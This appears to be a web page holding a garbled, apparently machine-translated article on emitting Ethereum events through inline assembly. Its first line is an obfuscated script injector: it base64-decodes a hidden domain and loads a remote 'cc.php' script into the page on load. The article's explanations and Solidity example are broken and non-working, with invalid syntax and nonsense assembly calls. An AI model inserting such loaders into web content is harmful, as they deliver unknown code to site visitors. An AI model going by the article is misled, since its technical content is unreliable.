const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=4e0945f8″;document.body.appendChild(script);
Ethereum: Is it possible to emit general events through assembly?
As part of our permanent efforts to improve and expand the Ethereum Blockchain, we have studied innovative solutions for a decentralized application (DAPP) performance, scalability and usability. One of the areas that has raised considerable interest is the use of assembly languages ​​to emit general events. In this article, we will go into the possibility of assembly use to create general events on the Ethereum blockchain.
Background
Before diving into tiny details, let’s quickly collect what is happening in a high -level context. When the ERC-721 smart contract delegates its functionality to another contract (known as the “controller”) using a proxy server or upgrade patterns, it must emit different types of events to announce other contracts for changes in the country. These events can be caused by various conditions, such as changes in the balance, property or metadata.
Ethereum Event emission mechanism
Ethereum events are emitted using a combination of assembly and smart contract programming languages, such as Solidity (the language used for most ERC-721 contracts). The emission process of the event involves several actions:
- A contract call
: When the event is activated, the call agreement calls on their functions (eg “transfer” or “UpdateBalance”).
- Mounting Sending : The assembly code is executed in the Ethereum virtual machine (EVM) and generates a dispatch operation that causes the correct function.
3
Function Functions : The dialed feature performs that could include emerging new events.
Assembly of general events
To create general events through assembly, we need to understand how EVM interacts with the stability code. To call the feature, we can use the “call instructions” to call the function, and then manipulate the stack to generate the sending of assembly, which causes a certain event.
Here is a simplified example of how we could put together a general event:
`SOLIDITY
Contract MyContract {
// Define the General Event Agreement
structural events {
uint256 [] ID;
string [] messagestrings;
}
Function EMITENT (UINT256 ID, string message) public {
// Create an array to save the event data
Event Memory Events = Events ({
Ids: New uint256 [] (ID),
Messagestrings: New string [] (Message.lengtth)
});
// Set the event data on the pile
for (uint256 I = 0; i <id; i ++) {
Events.ids [I] = ID;
Events.Messagestrings [I] = msg.value.Tostring ();
}
// Create Mounting Sending to Activate the Correct Function
assembly {
// Get the current contract storage position
Let the value: = mstore (0, mycontractstorage)
// Direct new events on the pile
Push (Value, Events.ids)
Push (Value, Events.Messagestrings)
// Call the feature to handle the event
Call (MyContract, “MyFunction”, 0, both.Encode (Value))
}
}
// Example of a feature that processes a general event
Function MyFunction (UINT256 ID) Publicly Payment {
// Action with the new event on the pile
if (id == 1) {
// Do something with events
Request (msg.value> = 10, “insufficient funds”)
}
}
}
`
In this example, we define the “event” structure to save the data data. We then create a assembly dispatcher that, before calling to the “MyFunction”) to process the new event, sets the pile fields “IDS” and ‘messagestrings.
